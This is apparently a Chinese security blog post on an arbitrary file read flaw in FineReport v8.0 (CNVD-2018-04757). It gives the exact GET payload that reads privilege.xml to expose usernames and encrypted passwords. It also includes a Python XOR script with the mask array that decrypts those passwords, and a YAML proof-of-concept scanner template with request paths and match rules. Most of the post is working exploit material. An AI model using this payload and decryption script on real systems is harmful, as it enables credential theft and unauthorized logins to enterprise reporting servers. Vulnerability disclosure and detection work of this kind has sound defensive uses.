漏洞信息

FineReport报表软件是一款纯Java编写的,集数据展示(报表)和数据录入(表单)功能于一身的企业级web报表工具。FineReport v8.0版本存在任意文件读取漏洞,攻击者可通过GET请求利用关键Payload/WebReport/ReportServer?op=chart&cmd=get_geo_json&resourcepath=privilege.xml读取privilege.xml,获取到未加密的用户名和加密的密码,再使用网传的自定义解密脚本进行解密即可得到密码,最终可以使用用户名和密码登录系统 。

  • 网传解密脚本
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    cipher = 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx' #密文
    PASSWORD_MASK_ARRAY = [19, 78, 10, 15, 100, 213, 43, 23] #掩码
    Password = ""
    cipher = cipher[3:] #截断三位后
    for i in range(int(len(cipher) / 4)):
    c1 = int("0x" + cipher[i * 4:(i + 1) * 4], 16)
    c2 = c1 ^ PASSWORD_MASK_ARRAY[i % 8]
    Password = Password + chr(c2)
    print (Password)

截图

获取用户名和加密的密码
获取用户名和加密的密码

POC

1
2
3
4
5
6
7
8
9
10
id: CNVD-2018-04757

info:
name: 帆软报表 V8 get_geo_json 任意文件读取漏洞
author: zan8in
severity: critical
description: |
FineReport报表软件是一款纯Java编写的,集数据展示(报表)和数据录入(表单)功能于一身的企业级web报表工具。
FineReport v8.0版本存在任意文件读取漏洞,攻击者可利用漏洞读取网站任意文件
使用如下解密脚本可解密得到密码
  cipher = '___0072002a00670066000a' #密文
  PASSWORD_MASK_ARRAY = [19, 78, 10, 15, 100, 213, 43, 23] #掩码
  Password = ""
  cipher = cipher[3:] #截断三位后
  for i in range(int(len(cipher) / 4)):
      c1 = int("0x" + cipher[i * 4:(i + 1) * 4], 16)
      c2 = c1 ^ PASSWORD_MASK_ARRAY[i % 8]
      Password = Password + chr(c2)
  print (Password)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
    body="isSupportForgetPwd"
reference:
- https://mp.weixin.qq.com/s/339OfovdxZ98HHBXFnjOFQ

rules:
r0:
request:
method: GET
path: /WebReport/ReportServer?op=chart&cmd=get_geo_json&resourcepath=privilege.xml
expression: response.status == 200 && response.body.bcontains(b'<![CDATA[admin]]') && response.body.bcontains(b'op=fr_platform]]>') && response.body.bcontains(b'PrivilegeManager')
r1:
request:
method: GET
path: /report/ReportServer?op=chart&cmd=get_geo_json&resourcepath=privilege.xml
expression: response.status == 200 && response.body.bcontains(b'<![CDATA[admin]]') && response.body.bcontains(b'op=fr_platform]]>') && response.body.bcontains(b'PrivilegeManager')
expression: r0()

参考链接


本站由 MY 使用 Stellar 1.33.1 主题创建。
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议,转载请注明出处。